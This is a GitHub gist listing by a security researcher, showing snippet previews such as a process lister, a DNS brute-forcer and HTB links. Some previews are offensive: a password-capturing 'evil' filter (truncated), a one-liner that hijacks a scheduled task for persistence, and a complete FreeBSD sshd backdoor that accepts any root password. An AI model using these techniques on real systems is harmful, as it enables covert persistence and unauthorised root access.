Skip to content

Instantly share code, notes, and snippets.

View mubix's full-sized avatar
🎯
Focusing

Rob Fuller mubix

🎯
Focusing
View GitHub Profile
@mubix
mubix / evilpassfilter.cpp
Created September 10, 2013 19:24
Evil "Password Filter"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
@mubix
mubix / GetProcessList.cs
Created January 17, 2020 21:09
Get a process listing with the command line arguments
using System;
using System.Linq;
using System.Diagnostics;
using System.Management;
namespace GetProcessList
{
public static class Program
{
static void Main(string[] args)
@mubix
mubix / Get-CSharp.ps1
Created November 30, 2020 05:13
Powershell Get-CSharp
function Get-CSharpProcess {
$proclist = Get-Process
foreach($proc in $proclist) {
foreach($mod in $proc.Modules)
{
if($mod.ModuleName -imatch "mscoree")
{
Write-Output(".NET Found in:`t" + $proc.Name)
}
}
@mubix
mubix / htb-links.md
Last active September 2, 2020 14:00
Hack the Box Repositories - Github Repositories that I have found useful during HTB challenges, Pro Labs etc
@mubix
mubix / brutedns.rb
Created February 20, 2014 04:55
Iteratively brutes dns hostnames
#!/usr/bin/env ruby
#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#
@domain = 'contoso.com'
def result?(sub)
results = %x(dig +noall #{sub}.#{@domain} +answer)
@mubix
mubix / areyouateapot.rb
Last active June 11, 2020 03:20
You are a teapot
#!/usr/bin/env ruby
require 'sinatra'
set :environment, :production
set :bin, '0.0.0.0'
get '/' do
status 418
body '<body style="background-color:black;"><center><img src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAkGBwgHBgkICAgKCgkLDhcPDg0NDhwUFREXIh4jIyEeICAlKjUtJScyKCAgLj8vMjc5PDw8JC1CRkE6RjU7PDn/2wBDAQoKCg4MDhsPDxs5JiAmOTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTn/wgARCAJYAu4DAREAAhEBAxEB/8QAHAABAAIDAQEBAAAAAAAAAAAAAAMEAQIFBgcI/8QAGQEBAQEBAQEAAAAAAAAAAAAAAAECAwQF/9oADAMBAAIQAxAAAAD4aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADrHowAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwfPgAAAAAAAD3JZzr00vS3N7MkScrN0xdl6O89PcxLAQmCJK3Ow89KWaSzEtkMYN9LGszaWTY52dVMagiKzmVGnSI655OdhbeN6Y3Bi6FOIN55/TnKz0CXU3lkWVnK183BizRR3OmbnScmJjm4tXncmxWVZ2+uehqFqRSjQ+SgAAAAAAAHuTv519Dq90mIHG5uRnW0WV7fXF7c2iE
#!/usr/bin/env ruby
require 'ruby_smb'
require 'thread'
class ThreadPool
def initialize(size)
@size = size
@jobs = Queue.new
@pool = Array.new(@size) do |i|
@mubix
mubix / lan.dev.txt
Created November 30, 2019 22:33
lan.dev SMB Connections
1 20110125032
1 guest
2 travel
4 Dung Trang
6 AUTHORITY\NETWORK
6 STEP-PC\soft
9 GERRARD
10 dd
11 STYG\chukoubu
12 administrator
@mubix
mubix / schtaskmod.ps1
Last active July 18, 2019 13:29
Modify Scheduled Task
Get-ScheduledTask -TaskName 'XblGameSaveTaskLogon' | % { $_.Actions += New-ScheduledTaskAction -Execute 'calc.exe'; Set-ScheduledTask -TaskPath $_.TaskPath -TaskName $_.TaskName -Action $_.Actions }
simplest sshd backdoor ever.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD BSDPWNED 9.0-RELEASE ...
BSDPWNED# mkdir /tmp/" "
BSDPWNED# ln -sf /usr/sbin/sshd /tmp/" "/su
BSDPWNED# /tmp/" "/su -oPort=31337
BSDPWNED# ssh -lroot -p31337 0
root@0's password: <any password>